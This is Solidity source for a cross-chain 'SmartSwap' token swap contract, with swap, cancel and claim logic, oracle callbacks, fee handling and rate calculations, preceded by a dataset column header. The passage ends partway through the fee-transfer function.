file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
sequence | attention_mask
sequence | labels
sequence |
---|---|---|---|---|---|---|
// SPDX-License-Identifier: No License (None)
pragma solidity ^0.8.0;
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint value) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint value) internal {
(bool success,) = to.call{value:value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
interface IValidator {
// returns rate (with 18 decimals) = Token B price / Token A price
function getRate(address tokenA, address tokenB) external returns (uint256);
// returns: user balance, native (foreign for us) encoded balance, foreign (native for us) encoded balance
function checkBalances(address factory, address[] calldata user) external returns(uint256);
// returns: user balance
function checkBalance(address factory, address user) external returns(uint256);
// returns: oracle fee
function getOracleFee(uint256 req) external returns(uint256); //req: 1 - cancel, 2 - claim, returns: value
}
interface IReimbursement {
// returns fee percentage with 2 decimals
function getLicenseeFee(address vault, address projectContract) external view returns(uint256);
// returns fee receiver address or address(0) if need to refund fee to user.
function requestReimbursement(address user, uint256 feeAmount, address vault) external returns(address);
}
interface ISPImplementation {
function initialize(
address _owner, // contract owner
address _nativeToken, // native token that will be send to SmartSwap
address _foreignToken, // foreign token that has to be received from SmartSwap (on foreign chain)
address _nativeTokenReceiver, // address on Binance to deposit native token
address _foreignTokenReceiver, // address on Binance to deposit foreign token
uint256 _feeAmountLimit // limit of amount that System withdraw for fee reimbursement
) external;
function owner() external returns(address);
}
interface IAuction {
function contributeFromSmartSwap(address payable user) external payable returns (bool);
function contributeFromSmartSwap(address token, uint256 amount, address user) external returns (bool);
}
abstract contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
/* we use proxy, so owner will be set in initialize() function
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), msg.sender);
}
*/
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract SmartSwap is Ownable {
struct Cancel {
uint64 pairID; // pair ID
address sender; // user who has to receive canceled amount
uint256 amount; // amount of token user want to cancel from order
//uint128 foreignBalance; // amount of token already swapped (on other chain)
}
struct Claim {
uint64 pairID; // pair ID
address sender; // address who send tokens to swap
address receiver; // address who has to receive swapped amount
uint64 claimID; // uniq claim ID
bool isInvestment; // is claim to contributeFromSmartSwap
uint128 amount; // amount of foreign tokens user want to swap
uint128 currentRate;
uint256 foreignBalance; //[0] foreignBalance, [1] foreignSpent, [2] nativeSpent, [3] nativeRate
}
struct Pair {
address tokenA;
address tokenB;
}
address constant NATIVE_COINS = 0x0000000000000000000000000000000000000009; // 1 - BNB, 2 - ETH, 3 - BTC
uint256 constant NOMINATOR = 10**18;
uint256 constant MAX_AMOUNT = 2**128;
address public foreignFactory;
address payable public validator;
uint256 public rateDiffLimit; // allowed difference (in percent) between LP provided rate and Oracle rate.
mapping(address => bool) public isSystem; // system address mey change fee amount
address public auction; // auction address
address public contractSmart; // the reimbursement contract address
mapping (address => uint256) licenseeFee; // NOT USED. the licensee may set personal fee (in percent wih 2 decimals). It have to compensate this fee with own tokens.
mapping (address => address) licenseeCompensator; // NOT USED. licensee contract which will compensate fee with tokens
mapping(address => bool) public isExchange; // is Exchange address
mapping(address => bool) public isExcludedSender; // address excluded from receiving SMART token as fee compensation
// fees
uint256 public swapGasReimbursement; // percentage of swap Gas Reimbursement by SMART tokens
uint256 public companyFeeReimbursement; // percentage of company Fee Reimbursement by SMART tokens
uint256 public cancelGasReimbursement; // percentage of cancel Gas Reimbursement by SMART tokens
uint256 public companyFee; // the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3%
uint256 public processingFee; // the fee in base coin, to compensate Gas when back-end call claimTokenBehalf()
address public feeReceiver; // address which receive the fee (by default is validator)
uint256 private collectedFees; // amount of collected fee (starts from 1 to avoid additional gas usage)
mapping(address => uint256) public decimals; // token address => token decimals
uint256 public pairIDCounter;
mapping(uint256 => Pair) public getPairByID;
mapping(address => mapping(address => uint256)) public getPairID; // tokenA => tokenB => pair ID or 0 if not exist
mapping(uint256 => uint256) public totalSupply; // pairID => totalSupply amount of tokenA on the pair
// hashAddress = address(keccak256(tokenA, tokenB, sender, receiver))
mapping(address => uint256) private _balanceOf; // hashAddress => amount of tokenA
mapping(address => Cancel) public cancelRequest; // hashAddress => amount of tokenA to cancel
mapping(address => Claim) public claimRequest; // hashAddress => amount of tokenA to swap
mapping(address => bool) public isLiquidityProvider; // list of Liquidity Providers
uint256 claimIdCounter; // counter of claim requests
address public reimbursementVault; //company vault address in reimbursement contract
address public SPImplementation; // address of swap provider contract implementation
uint256 public companySPFee; // the fee (in percent wih 2 decimals) that received by company from Swap provider. 30 - means 0.3%
uint256 collectedProcessingFee;
// ============================ Events ============================
event PairAdded(address indexed tokenA, address indexed tokenB, uint256 indexed pairID);
event PairRemoved(address indexed tokenA, address indexed tokenB, uint256 indexed pairID);
event SwapRequest(
address indexed tokenA,
address indexed tokenB,
address indexed sender,
address receiver,
uint256 amountA,
bool isInvestment,
uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled.
uint128 limitPice // Do not match user if token A price less this limit
);
event CancelRequest(address indexed hashAddress, uint256 amount);
event CancelApprove(address indexed hashAddress, uint256 amount);
event ClaimRequest(address indexed hashAddress, uint64 claimID, uint256 amount, bool isInvestment);
event ClaimApprove(address indexed hashAddress, uint64 claimID, uint256 nativeAmount, uint256 foreignAmount, bool isInvestment);
event ExchangeInvestETH(address indexed exchange, address indexed whom, uint256 value);
event SetSystem(address indexed system, bool active);
event AddSwapProvider(address swapProvider, address spContract);
event PartialClaim(uint256 rest, uint256 totalSupply, uint256 nativeAmount);
/**
* @dev Throws if called by any account other than the system.
*/
modifier onlySystem() {
require(isSystem[msg.sender] || isLiquidityProvider[msg.sender] || owner() == msg.sender, "Caller is not the system");
_;
}
// run only once from proxy
function initialize(address newOwner) external {
require(newOwner != address(0) && _owner == address(0)); // run only once
_owner = newOwner;
emit OwnershipTransferred(address(0), msg.sender);
rateDiffLimit = 5; // allowed difference (in percent) between LP provided rate and Oracle rate.
swapGasReimbursement = 100; // percentage of swap Gas Reimbursement by SMART tokens
companyFeeReimbursement = 100; // percentage of company Fee Reimbursement by SMART tokens
cancelGasReimbursement = 100; // percentage of cancel Gas Reimbursement by SMART tokens
companyFee = 0; // the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3%
collectedFees = 1; // amount of collected fee (starts from 1 to avoid additional gas usage)
}
// get amount of collected fees that can be claimed
function getColletedFees() external view returns (uint256) {
// collectedFees starts from 1 to avoid additional gas usage to initiate storage (when collectedFees = 0)
return collectedFees - 1;
}
// get amount of collected fees that can be claimed
function getProcessingFees() external view returns (uint256) {
// collectedFees starts from 1 to avoid additional gas usage to initiate storage (when collectedFees = 0)
return collectedProcessingFee - 1;
}
function claimProcessingFees() external onlySystem returns (uint256 processingFeeAmount) {
processingFeeAmount = collectedProcessingFee - 1;
collectedProcessingFee = 1;
TransferHelper.safeTransferETH(msg.sender, processingFeeAmount);
}
// claim fees by feeReceiver
function claimFee() external returns (uint256 feeAmount)
{
require(msg.sender == feeReceiver);
feeAmount = collectedFees - 1;
collectedFees = 1;
TransferHelper.safeTransferETH(msg.sender, feeAmount);
}
function balanceOf(address hashAddress) external view returns(uint256) {
return _balanceOf[hashAddress];
}
// return balance for swap
function getBalance(
address tokenA,
address tokenB,
address sender,
address receiver
)
external
view
returns (uint256)
{
return _balanceOf[_getHashAddress(tokenA, tokenB, sender, receiver)];
}
function getHashAddress(
address tokenA,
address tokenB,
address sender,
address receiver
)
external
pure
returns (address)
{
return _getHashAddress(tokenA, tokenB, sender, receiver);
}
//user should approve tokens transfer before calling this function.
//if no licensee set it to address(0)
function swap(
address tokenA, // token that user send to swap ( address(1) for BNB, address(2) for ETH)
address tokenB, // token that user want to receive ( address(1) for BNB, address(2) for ETH)
address receiver, // address that will receive tokens on other chain (user's wallet address)
uint256 amountA, // amount of tokens user sends to swap
address licensee, // for now, = address(0)
bool isInvestment, // for now, = false
uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled. For now, = 0
uint128 limitPice, // Do not match user if token A price less this limit. For now, = 0
uint256 fee // company + licensee fee amount
)
external
payable
returns (bool)
{
_transferFee(tokenA, amountA, fee, msg.sender, licensee);
_swap(tokenA, tokenB, msg.sender, receiver, amountA, isInvestment, minimumAmountToClaim, limitPice);
return true;
}
function cancel(
address tokenA,
address tokenB,
address receiver,
uint256 amountA //amount of tokenA to cancel
)
external
payable
returns (bool)
{
_cancel(tokenA, tokenB, msg.sender, receiver, amountA);
return true;
}
function cancelBehalf(
address tokenA,
address tokenB,
address sender,
address receiver,
uint256 amountA //amount of tokenA to cancel
)
external
onlySystem
returns (bool)
{
_cancel(tokenA, tokenB, sender, receiver, amountA);
return true;
}
function claimTokenBehalf(
address tokenA, // foreignToken
address tokenB, // nativeToken
address sender,
address receiver,
bool isInvestment,
uint128 amountA, //amount of tokenA that has to be swapped
uint128 currentRate, // rate with 18 decimals: tokenA price / tokenB price
uint256 foreignBalance // total tokens amount sent by user to pair on other chain
)
external
onlySystem
returns (bool)
{
_claimTokenBehalf(tokenA, tokenB, sender, receiver, isInvestment, amountA, currentRate, foreignBalance);
return true;
}
// add swap provider who will provide liquidity for swap (using centralized exchange)
function addSwapProvider(
address _nativeToken, // native token that will be send to SmartSwap
address _foreignToken, // foreign token that has to be received from SmartSwap (on foreign chain)
address _nativeTokenReceiver, // address on Binance to deposit native token
address _foreignTokenReceiver, // address on Binance to deposit foreign token
uint256 _feeAmountLimit // limit of amount that System may withdraw for fee reimbursement
)
external
returns (address spContract)
{
spContract = clone(SPImplementation);
ISPImplementation(spContract).initialize(
msg.sender,
_nativeToken,
_foreignToken,
_nativeTokenReceiver,
_foreignTokenReceiver,
_feeAmountLimit
);
isLiquidityProvider[spContract] = true;
emit AddSwapProvider(msg.sender, spContract);
}
function balanceCallback(address hashAddress, uint256 foreignBalance) external returns(bool) {
require (validator == msg.sender, "Not validator");
_cancelApprove(hashAddress, foreignBalance);
return true;
}
function balancesCallback(
address hashAddress,
uint256 foreignBalance, // total user's tokens balance on foreign chain
uint256 foreignSpent, // total tokens spent by SmartSwap pair
uint256 nativeEncoded // (nativeRate, nativeSpent) = _decode(nativeEncoded)
)
external
returns(bool)
{
require (validator == msg.sender, "Not validator");
_claimBehalfApprove(hashAddress, foreignBalance, foreignSpent, nativeEncoded);
return true;
}
// get system variables for debugging
function getPairVars(uint256 pairID) external view returns (uint256 native, uint256 foreign, uint256 foreignRate) {
address nativeHash = _getHashAddress(getPairByID[pairID].tokenA, getPairByID[pairID].tokenB, address(0), address(0));
address foreignHash = _getHashAddress(getPairByID[pairID].tokenB, getPairByID[pairID].tokenA, address(0), address(0));
// native - amount of native tokens that swapped from available foreign
native = _balanceOf[nativeHash];
// foreign = total foreign tokens already swapped
// foreignRate = rate (native price / foreign price) of available foreign tokens on other chain
(foreignRate, foreign) = _decode(_balanceOf[foreignHash]);
// Example: assume system vars = 0, rate of prices ETH/BNB = 2 (or BNB/ETH = 0.5)
// on ETH chain:
// 1. claim ETH for 60 BNB == 60 * 0.5 = 30 ETH,
// set: foreign = 60 BNB, foreignRate = 0.5 BNB/ETH prices (already swapped BNB)
//
// on BSC chain:
// 2. claim BNB for 20 ETH, assume new rate of prices ETH/BNB = 4 (or BNB/ETH = 0.25)
// get from ETH chain foreign(ETH) = 60 BNB, foreignRate(ETH) = 0.5 BNB/ETH prices
// available amount of already swapped BNB = 60 BNB (foreign from ETH) - 0 BNB (native) = 60 BNB with rate 0.5 BNB/ETH
// claimed BNB amount = 20 ETH / 0.5 BNB/ETH = 40 BNB (we use rate of already swapped BNB)
// set: native = 40 BNB (we use BNB that was already swapped on step 1)
//
// 3. New claim BNB for 30 ETH, assume new rate of prices ETH/BNB = 4 (or BNB/ETH = 0.25)
// get from ETH chain foreign(ETH) = 60 BNB, foreignRate(ETH) = 0.5 BNB/ETH prices
// available amount of already swapped BNB = 60 BNB (foreign from ETH) - 40 BNB (native) = 20 BNB with rate 0.5 BNB/ETH
// 20 BNB * 0.5 = 10 ETH (we claimed 20 BNB for 10 ETH with already swapped rate)
// set: native = 40 BNB + 20 BNB = 60 BNB (we use all BNB that was already swapped on step 1)
// claimed rest BNB amount for (30-10) ETH = 20 ETH / 0.25 BNB/ETH = 80 BNB (we use new rate)
// set: foreign = 20 ETH, foreignRate = 0.25 BNB/ETH prices (already swapped ETH)
}
// ================== For Jointer Auction =========================================================================
// ETH side
// function for invest ETH from from exchange on user behalf
function contributeWithEtherBehalf(address payable _whom) external payable returns (bool) {
require(isExchange[msg.sender], "Not an Exchange address");
address tokenA = address(2); // ETH (native coin)
address tokenB = address(1); // BNB (foreign coin)
uint256 amount = msg.value - processingFee; // charge processing fee
amount = amount * 10000 / (10000 + companyFee); // charge company fee
uint256 fee = msg.value - (amount + processingFee); // company fee
emit ExchangeInvestETH(msg.sender, _whom, msg.value);
_transferFee(tokenA, amount, fee, _whom, address(0)); // no licensee
_swap(tokenA, tokenB, _whom, auction, amount, true,0,0);
return true;
}
// BSC side
// tokenB - foreign token address or address(1) for ETH
// amountB - amount of foreign tokens or ETH
function claimInvestmentBehalf(
address tokenB, // foreignToken
address user,
uint128 amountB, //amount of tokenB that has to be swapped
uint128 currentRate, // rate with 18 decimals: tokenB price / Native coin price
uint256 foreignBalance // total tokens amount sent by user to pair on other chain
)
external
onlySystem
returns (bool)
{
address tokenA = address(1); // BNB (native coin)
_claimTokenBehalf(tokenB, tokenA, user, auction, true, amountB, currentRate, foreignBalance);
return true;
}
// reimburse user for SP payment
function reimburse(address user, uint256 amount) external onlySystem {
address reimbursementContract = contractSmart;
if (reimbursementContract != address(0) && amount !=0) {
IReimbursement(reimbursementContract).requestReimbursement(user, amount, reimbursementVault);
}
}
// ================= END For Jointer Auction ===========================================================================
// ============================ Restricted functions ============================
// set processing fee - amount that have to be paid on other chain to claimTokenBehalf.
// Set in amount of native coins (BNB or ETH)
function setProcessingFee(uint256 _fee) external onlySystem returns(bool) {
processingFee = _fee;
return true;
}
/*
// set licensee compensator contract address, if this address is address(0) - remove licensee.
// compensator contract has to compensate the fee by other tokens.
// licensee fee in percent with 2 decimals. I.e. 10 = 0.1%
function setLicensee(address _licensee, address _compensator, uint256 _fee) external onlySystem returns(bool) {
licenseeCompensator[_licensee] = _compensator;
require(_fee < 10000, "too big fee"); // fee should be less then 100%
licenseeFee[_licensee] = _fee;
emit SetLicensee(_licensee, _compensator);
return true;
}
// set licensee fee in percent with 2 decimals. I.e. 10 = 0.1%
function setLicenseeFee(uint256 _fee) external returns(bool) {
require(licenseeCompensator[msg.sender] != address(0), "licensee is not registered");
require(_fee < 10000, "too big fee"); // fee should be less then 100%
licenseeFee[msg.sender] = _fee;
return true;
}
*/
// ============================ Owner's functions ============================
//allowed difference in rate between Oracle and provided by company. in percent without decimals (5 = 5%)
function setRateDiffLimit(uint256 _rateDiffLimit) external onlyOwner returns(bool) {
require(_rateDiffLimit < 100, "too big limit"); // fee should be less then 100%
rateDiffLimit = _rateDiffLimit;
return true;
}
//the fee (in percent wih 2 decimals) that received by company. 30 - means 0.3%
function setCompanyFee(uint256 _fee) external onlyOwner returns(bool) {
require(_fee < 10000, "too big fee"); // fee should be less then 100%
companyFee = _fee;
return true;
}
//the fee (in percent wih 2 decimals) that received by company from Swap provider. 30 - means 0.3%
function setCompanySPFee(uint256 _fee) external onlyOwner returns(bool) {
require(_fee < 10000, "too big fee"); // fee should be less then 100%
companySPFee = _fee;
return true;
}
// Reimbursement Percentage without decimals: 100 = 100%
function setReimbursementPercentage (uint256 id, uint256 _fee) external onlyOwner returns(bool) {
if (id == 1) swapGasReimbursement = _fee; // percentage of swap Gas Reimbursement by SMART tokens
else if (id == 2) cancelGasReimbursement = _fee; // percentage of cancel Gas Reimbursement by SMART tokens
else if (id == 3) companyFeeReimbursement = _fee; // percentage of company Fee Reimbursement by SMART tokens
return true;
}
function setSystem(address _system, bool _active) external onlyOwner returns(bool) {
isSystem[_system] = _active;
emit SetSystem(_system, _active);
return true;
}
function setValidator(address payable _validator) external onlyOwner returns(bool) {
validator = _validator;
return true;
}
function setForeignFactory(address _addr) external onlyOwner returns(bool) {
foreignFactory = _addr;
return true;
}
function setFeeReceiver(address _addr) external onlyOwner returns(bool) {
feeReceiver = _addr;
return true;
}
function setReimbursementContractAndVault(address reimbursement, address vault) external onlyOwner returns(bool) {
contractSmart = reimbursement;
reimbursementVault = vault;
return true;
}
function setAuction(address _addr) external onlyOwner returns(bool) {
auction = _addr;
return true;
}
// for ETH side only
function changeExchangeAddress(address _which,bool _bool) external onlyOwner returns(bool){
isExchange[_which] = _bool;
return true;
}
function changeExcludedAddress(address _which,bool _bool) external onlyOwner returns(bool){
isExcludedSender[_which] = _bool;
return true;
}
function createPair(address tokenA, uint256 decimalsA, address tokenB, uint256 decimalsB) public onlyOwner returns (uint256) {
require(getPairID[tokenA][tokenB] == 0, "Pair exist");
uint256 pairID = ++pairIDCounter;
getPairID[tokenA][tokenB] = pairID;
getPairByID[pairID] = Pair(tokenA, tokenB);
if (decimals[tokenA] == 0) decimals[tokenA] = decimalsA;
if (decimals[tokenB] == 0) decimals[tokenB] = decimalsB;
return pairID;
}
function setSPImplementation(address _SPImplementation) external onlyOwner {
require(_SPImplementation != address(0));
SPImplementation = _SPImplementation;
}
// ============================ Internal functions ============================
function _swap(
address tokenA, // nativeToken
address tokenB, // foreignToken
address sender,
address receiver,
uint256 amountA,
bool isInvestment,
uint128 minimumAmountToClaim, // do not claim on user behalf less of this amount. Only exception if order fulfilled.
uint128 limitPice // Do not match user if token A price less this limit
)
internal
{
uint256 pairID = getPairID[tokenA][tokenB];
require(pairID != 0, "Pair not exist");
if (tokenA > NATIVE_COINS) {
TransferHelper.safeTransferFrom(tokenA, sender, address(this), amountA);
}
// (amount >= msg.value) is checking when pay fee in the function transferFee()
address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver);
_balanceOf[hashAddress] += amountA;
totalSupply[pairID] += amountA;
emit SwapRequest(tokenA, tokenB, sender, receiver, amountA, isInvestment, minimumAmountToClaim, limitPice);
}
function _cancel(
address tokenA, // nativeToken
address tokenB, // foreignToken
address sender,
address receiver,
uint256 amountA //amount of tokenA to cancel
//uint128 foreignBalance // amount of tokenA swapped by hashAddress (get by server-side)
)
internal
{
if(!isSystem[msg.sender]) { // process fee if caller is not System
require(msg.value >= IValidator(validator).getOracleFee(1), "Insufficient fee"); // check oracle fee for Cancel request
collectedFees += msg.value;
if(contractSmart != address(0) && !isExcludedSender[sender]) {
uint256 feeAmount = (msg.value + 60000*tx.gasprice) * cancelGasReimbursement / 100;
if (feeAmount != 0)
IReimbursement(contractSmart).requestReimbursement(sender, feeAmount, reimbursementVault);
}
}
address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver);
uint256 pairID = getPairID[tokenA][tokenB];
require(pairID != 0, "Pair not exist");
if (cancelRequest[hashAddress].amount == 0) { // new cancel request
uint256 balance = _balanceOf[hashAddress];
require(balance >= amountA && amountA != 0, "Wrong amount");
totalSupply[pairID] = totalSupply[pairID] - amountA;
_balanceOf[hashAddress] = balance - amountA;
} else {
revert("There is pending cancel request");
}
cancelRequest[hashAddress] = Cancel(uint64(pairID), sender, amountA);
// request Oracle for fulfilled amount from hashAddress
IValidator(validator).checkBalance(foreignFactory, hashAddress);
emit CancelRequest(hashAddress, amountA);
//emit CancelRequest(tokenA, tokenB, sender, receiver, amountA);
}
function _cancelApprove(address hashAddress, uint256 foreignBalance) internal {
Cancel memory c = cancelRequest[hashAddress];
delete cancelRequest[hashAddress];
//require(c.foreignBalance == foreignBalance, "Oracle error");
uint256 balance = _balanceOf[hashAddress];
uint256 amount = uint256(c.amount);
uint256 pairID = uint256(c.pairID);
if (foreignBalance <= balance) {
//approved - transfer token to its sender
_transfer(getPairByID[pairID].tokenA, c.sender, amount);
} else {
//disapproved
balance += amount;
_balanceOf[hashAddress] = balance;
totalSupply[pairID] += amount;
amount = 0;
}
emit CancelApprove(hashAddress, amount);
}
function _claimTokenBehalf(
address tokenA, // foreignToken
address tokenB, // nativeToken
address sender,
address receiver,
bool isInvestment,
uint128 amountA, //amount of tokenA that has to be swapped
uint128 currentRate, // rate with 18 decimals: tokenA price / tokenB price
uint256 foreignBalance // total tokens amount sent bu user to pair on other chain
// [1] foreignSpent, [2] nativeSpent, [3] nativeRate
)
internal
{
uint256 pairID = getPairID[tokenB][tokenA]; // getPairID[nativeToken][foreignToken]
require(pairID != 0, "Pair not exist");
// check rate
uint256 diffRate;
uint256 oracleRate = IValidator(validator).getRate(tokenB, tokenA);
if (uint256(currentRate) < oracleRate) {
diffRate = 100 - (uint256(currentRate) * 100 / oracleRate);
} else {
diffRate = 100 - (oracleRate * 100 / uint256(currentRate));
}
require(diffRate <= rateDiffLimit, "Wrong rate");
uint64 claimID;
address hashAddress = _getHashAddress(tokenA, tokenB, sender, receiver);
if (claimRequest[hashAddress].amount == 0) { // new claim request
_balanceOf[hashAddress] += uint256(amountA); // total swapped amount of foreign token
claimID = uint64(++claimIdCounter);
} else { // repeat claim request in case oracle issues.
claimID = claimRequest[hashAddress].claimID;
if (amountA == 0) { // cancel claim request
emit ClaimApprove(hashAddress, claimID, 0, 0, claimRequest[hashAddress].isInvestment);
_balanceOf[hashAddress] = _balanceOf[hashAddress] - claimRequest[hashAddress].amount;
delete claimRequest[hashAddress];
return;
}
amountA = claimRequest[hashAddress].amount;
}
address[] memory users = new address[](3);
users[0] = hashAddress;
users[1] = _getHashAddress(tokenA, tokenB, address(0), address(0)); // Native hash address on foreign chain
users[2] = _getHashAddress(tokenB, tokenA, address(0), address(0)); // Foreign hash address on foreign chain
claimRequest[hashAddress] = Claim(uint64(pairID), sender, receiver, claimID, isInvestment, amountA, currentRate, foreignBalance);
IValidator(validator).checkBalances(foreignFactory, users);
emit ClaimRequest(hashAddress, claimID, amountA, isInvestment);
//emit ClaimRequest(tokenA, tokenB, sender, receiver, amountA);
}
// Approve or disapprove claim request.
function _claimBehalfApprove(
address hashAddress,
uint256 foreignBalance, // total user's tokens balance on foreign chain
uint256 foreignSpent, // total tokens spent by SmartSwap pair
uint256 nativeEncoded // (nativeSpent, nativeRate) = _decode(nativeEncoded)
)
internal
{
Claim memory c = claimRequest[hashAddress];
delete claimRequest[hashAddress];
//address hashSwap = _getHashAddress(getPairByID[c.pairID].tokenB, getPairByID[c.pairID].tokenA, c.sender, c.receiver);
uint256 balance = _balanceOf[hashAddress]; // swapped amount of foreign tokens (include current claim amount)
uint256 amount = uint256(c.amount); // amount of foreign token to swap
require (amount != 0, "No active claim request");
require(foreignBalance == c.foreignBalance, "Oracle error");
uint256 nativeAmount;
uint256 rest;
if (foreignBalance >= balance) {
//approve, user deposited not less foreign tokens then want to swap
uint256 pairID = uint256(c.pairID);
(uint256 nativeRate, uint256 nativeSpent) = _decode(nativeEncoded);
(nativeAmount, rest) = _calculateAmount(
pairID,
amount,
uint256(c.currentRate),
foreignSpent,
nativeSpent,
nativeRate
);
if (rest != 0) {
_balanceOf[hashAddress] = balance - rest; // not all amount swapped
amount = amount - rest; // swapped amount
}
require(totalSupply[pairID] >= nativeAmount, "Not enough Total Supply"); // may be commented
totalSupply[pairID] = totalSupply[pairID] - nativeAmount;
if (c.isInvestment)
_contributeFromSmartSwap(getPairByID[pairID].tokenA, c.receiver, c.sender, nativeAmount);
else
_transfer(getPairByID[pairID].tokenA, c.receiver, nativeAmount);
} else {
//disapprove, discard claim
_balanceOf[hashAddress] = balance - amount;
amount = 0;
}
emit ClaimApprove(hashAddress, c.claimID, nativeAmount, amount, c.isInvestment);
}
// use structure to avoid stack too deep
struct CalcVariables {
// 18 decimals nominator with decimals converter:
// Foreign = Native * Rate(18) / nominatorNativeToForeign
uint256 nominatorForeignToNative; // 10**(18 + foreign decimals - native decimals)
uint256 nominatorNativeToForeign; // 10**(18 + native decimals - foreign decimals)
uint256 localNative; // already swapped Native tokens = _balanceOf[hashNative]
uint256 localForeign; // already swapped Foreign tokens = decoded _balanceOf[hashForeign]
uint256 localForeignRate; // Foreign token price / Native token price = decoded _balanceOf[hashForeign]
address hashNative; // _getHashAddress(tokenA, tokenB, address(0), address(0));
address hashForeign; // _getHashAddress(tokenB, tokenA, address(0), address(0));
}
function _calculateAmount(
uint256 pairID,
uint256 foreignAmount,
uint256 rate, // Foreign token price / Native token price = (Native amount / Foreign amount)
uint256 foreignSpent, // already swapped Foreign tokens (got from foreign contract)
uint256 nativeSpent, // already swapped Native tokens (got from foreign contract)
uint256 nativeRate // Native token price / Foreign token price. I.e. on BSC side: BNB price / ETH price = 0.2
)
internal
returns(uint256 nativeAmount, uint256 rest)
{
CalcVariables memory vars;
{
address tokenA = getPairByID[pairID].tokenA;
address tokenB = getPairByID[pairID].tokenB;
uint256 nativeDecimals = decimals[tokenA];
uint256 foreignDecimals = decimals[tokenB];
vars.nominatorForeignToNative = 10**(18+foreignDecimals-nativeDecimals);
vars.nominatorNativeToForeign = 10**(18+nativeDecimals-foreignDecimals);
vars.hashNative = _getHashAddress(tokenA, tokenB, address(0), address(0));
vars.hashForeign = _getHashAddress(tokenB, tokenA, address(0), address(0));
vars.localNative = _balanceOf[vars.hashNative];
(vars.localForeignRate, vars.localForeign) = _decode(_balanceOf[vars.hashForeign]);
}
// step 1. Check is it enough unspent native tokens
{
require(nativeSpent >= vars.localNative, "NativeSpent balance higher then remote");
uint256 nativeAvailable = nativeSpent - vars.localNative;
// nativeAvailable - amount ready to spend native tokens
// nativeRate = Native token price / Foreign token price. I.e. on BSC side BNB price / ETH price = 0.2
if (nativeAvailable != 0) {
// ?
uint256 requireAmount = foreignAmount * vars.nominatorNativeToForeign / nativeRate;
if (requireAmount <= nativeAvailable) {
nativeAmount = requireAmount; // use already swapped tokens
foreignAmount = 0;
}
else {
nativeAmount = nativeAvailable;
foreignAmount = (requireAmount - nativeAvailable) * nativeRate / vars.nominatorNativeToForeign;
}
_balanceOf[vars.hashNative] += nativeAmount;
}
}
require(totalSupply[pairID] >= nativeAmount,"ERR: Not enough Total Supply");
// step 2. recalculate rate for swapped tokens
if (foreignAmount != 0) {
// i.e. on BSC side: rate = ETH price / BNB price = 5
uint256 requireAmount = foreignAmount * rate / vars.nominatorForeignToNative;
if (totalSupply[pairID] < nativeAmount + requireAmount) {
requireAmount = totalSupply[pairID] - nativeAmount;
rest = foreignAmount - (requireAmount * vars.nominatorForeignToNative / rate);
foreignAmount = foreignAmount - rest;
emit PartialClaim(rest, totalSupply[pairID], nativeAmount);
}
nativeAmount = nativeAmount + requireAmount;
require(vars.localForeign >= foreignSpent, "ForeignSpent balance higher then local");
uint256 foreignAvailable = vars.localForeign - foreignSpent;
// vars.localForeignRate, foreignAvailable - rate and amount swapped foreign tokens
if (foreignAvailable != 0) { // recalculate avarage rate (native amount / foreign amount)
rate = ((foreignAvailable * vars.localForeignRate) + (requireAmount * vars.nominatorForeignToNative)) / (foreignAvailable + foreignAmount);
}
_balanceOf[vars.hashForeign] = _encode(rate, vars.localForeign + foreignAmount);
}
}
// transfer fee to receiver and request SMART token as compensation.
// tokenA - token that user send
// amount - amount of tokens that user send
// user - address of user
function _transferFee(address tokenA, uint256 amount, uint256 fee, address user, address licensee) internal {
uint256 txGas = gasleft();
uint256 feeAmount = msg.value;
uint256 companyFeeAmount; // company fee
uint256 _companyFee;
if (isLiquidityProvider[msg.sender]) {
_companyFee = companySPFee;
user = ISPImplementation(msg.sender).owner();
} else {
_companyFee = companyFee;
}
if (tokenA < NATIVE_COINS) {
require(feeAmount >= amount, "Insuficiant value"); // if native coin, then feeAmount = msg.value - swap amount
feeAmount -= amount;
companyFeeAmount = amount * _companyFee / 10000; // company fee
}
require(feeAmount >= processingFee + fee && fee >= companyFeeAmount, "Insufficient processing fee");
if (contractSmart == address(0)) {
collectedProcessingFee += feeAmount;
return; // return if no reimbursement contract
}
uint256 _processingFee = feeAmount - fee;
uint256 licenseeFeeAmount;
if (licensee != address(0)) {
